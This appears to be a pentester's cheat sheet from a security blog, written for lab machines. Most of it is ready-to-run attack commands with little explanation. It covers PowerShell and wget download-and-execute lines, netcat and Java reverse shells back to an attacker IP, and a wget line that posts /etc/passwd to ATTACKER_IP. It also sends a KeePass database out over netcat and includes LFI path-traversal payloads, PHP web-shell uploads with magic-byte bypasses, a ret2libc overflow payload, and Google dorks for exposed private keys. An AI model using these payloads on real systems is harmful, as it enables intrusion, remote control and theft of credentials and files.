Steinz Security

Download And Execute a file using Powershell: on Kali: python -m SimpleHTTPServer 8001 on Target: powershell Invoke-WebRequest -Uri 10.10.14.35:8001/nc.exe -OutFile C:\Users\Administrator\downloads\nc.exe On Kali: nc -nvlp 9001 On Target: C:\users\administrator\downloads\nc.exe -e cmd 10.10.14.35 9001  Sending a file from Victim to Attacker using WGET (Not tested) wget --post-file=/etc/passwd ATTACKER_IP:8001 nc -nvlp 9001 Send a File From Kali To Victim nc -nlvp 9001 < exploit.c --> Transfer files from Kali nc YourIpAddress 8001 > /tmp/exploit.c --> Get the file On Target Machine Get a File From Victim to Kali on Kali: nc -l -p 8001 > filefoldername on victim: nc -w 5 10.10.14.14 8001 < /usr/local/bin/filename   Downloading a file with just Bash #paste the below command in the terminal function __curl() { read proto server path <<<$(echo ${1//// }) DOC=/${path// //} HOST=${server//:*} PORT=${server//*:} [[ x"...

Try These for Local File Inclusion http://10.10.10.10/?page=/etc/passw http://10.10.10.10./?page=../../../../../../../etc/passwd http://10.10.10.10/?page=php://filter/convert.base64-encode/resource=index   ?url=/../../../..//etc/apache2/sites-available/000-default.conf #View Acess logs in proc env - there is a symbolic link to some random number. so bruteforce it using intruder ?url=/../../../../proc/self/fd/ §num$   File Upload Steps 1) Change the filename to php,php5 2) add the below content to the file  GIF8; <?php echo exec("cat /etc/passwd"); ?> or \0xFF\0xD8\0xFF\0xE0<?php echo exec("cat /etc/passwd"); ?> 3) 4) try using the wordlist 5) check for /proc/self/environ for LFI 6) <?php echo file_get_contents('/etc/passwd'); ?> 7) While Uploading the file look for "Content Disposition: form-data; name='somename'; filename="filename.jpeg"" In this case, change the filename to "filename=../filename.php...

#Using SShuttle sudo sshuttle -r user@10.10.10.10 192.168.1.0/24  Port Forwarding: It is accepting traffic on a given ip address and redirecting it to different ip and port Inbound: traffic initiated from outside. Outbound: traffic initiated from inside.   time nmap -p- portquiz.net | grep -i open / Helps in checking outbound traffic Open POrts   Example: -------- a windows XP machine has only 80 and 443 ports have outbound traffic allowed, but we need to access a server using RDP(3389) in the same network. to access that we need to use port forwarding, that menas we need an intermediate proxy --> which can be our kali linux machine. on Kali: ---------- Need to have a Public Address, IDK vi /etc/rinetd.conf Port Forwarding Utility Config I #bindaddress bindport connect address connect port KALI_Public_IP 80 RDP_Server_address 3389 esc :wq / we set it up to accept traffic from external interface on TCP port 80 and then redirect to our remote wi...

Download a File using Power Shell: powershell -Command (new-object System.Net.WebClient).Downloadfile('http://10.10.14.19:8001/41015.exe', 'shell.exe') Download a File Using Power Shell: nc.exe 10.10.14.19 8002 < CEH.kdbx Download and Execute Powershell Script on Victim Machine Powershell IEX(new-object Net.WebClient).Downloadstring(\"http://10.10.14.35:8001/revs.ps1\") python -m SimpleHTTPServer 8001 nc -nvlp 9001 #Reverse Shell Used is Nishang Invoke-Powershell-TCP.ps1   Download and Execute Powershell Script on Victim Machine - Method II powershell Invoke-WebRequest -Uri 10.10.14.35:8001/nc.exe -OutFile C:\Users\Administrator\downloads\nc.exe python -m SimpleHTTPServer 8001 C:\users\administrator\downloads\nc.exe -e cmd 10.10.14.35 9001 nc -nvlp 9001 Execute a Command in Java Shell: def cmd = "cmd.exe /c dir".execute(); println("${cmd.text}"); Execute a Command in Java Shell: println "cmd.exe /c dir...

String host="10.10.14.19"; int port=9001; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Check if there is a Buffer Over Flow Vuln: ldd /usr/bin/filename | grep libc libc.so.6 => /lib32/libc.so.6 (0xf75df000) Get The value of System: readelf -s /lib32/libc.so.6 | grep system 245: 00110820 68 FUNC svcerr_systemerr@@GLIBC_2.0 627: 0003a940 55 FUNC _libc_system@@GLIBC_PRIVATE 1457: 0003a940 55 FUNC system@@GLIBC_2.0 we need the value of system@@GLIBC_2.0 " 0003a940"   Get The value of Exit: readelf -s /lib32/libc.so.6 | grep exit 2263: 0002e7d0 78 FUNC on_exit@@GLIBC_2.0 Get The value of /bin/sh in libc: strings -a -t x /lib32/libc.so.6 | grep /bin/sh 15900b /bin/sh while true; do /usr/local/bin/backup -i $(python -c 'print "A" * 512 + "\x40\xa9\x03\x00\xb0\xe7\x02\x00\x0b\x90\x15\x00"'); done   IPPSEC Buffer Overflow Exploit Code: from subprocess import call import struct libc_base_addr = 0xf75b000 system_off=0x0003a940 #system offset exit_off=0x0002e7d0 #exit offset a...

Google Enum #Finding PGP and GnuPG Private Key rings site:domain.com intitle:index.of intext:"secring.skr"| "secring.pgp" | "secring.bak" #Shell History files in interesting domains site:domain.com intitle:index.of bash_history #Nessus Scan Results intitle:"Nessus Scan Report" "This file was generated by Nessus" SearchDiggity GUI tool Finger Enumeration Finger Enum Script finger @10.10.10.76 perl finger-user-enum.pl -U ../../SecLists/Usernames/Names/names.txt -t 10.10.10.76 finger root@10.10.10.76 Enumerating Squid Proxy nikto -h 10.10.10.10 -useproxy http://10.10.10.10:3128 get /etc/squid/squid.conf get /etc/squid/squid.cgf get /etc/squid/squid.config Set a profile in foxy proxy to change to the squid proxy and add creds in it to access it properly. Burp Settings: add upstream proxy --> destination: * host : IP_ADDRESS port : 3128 Authentication type: Basic Username: creds Password: creds Set foxyproxy to use b...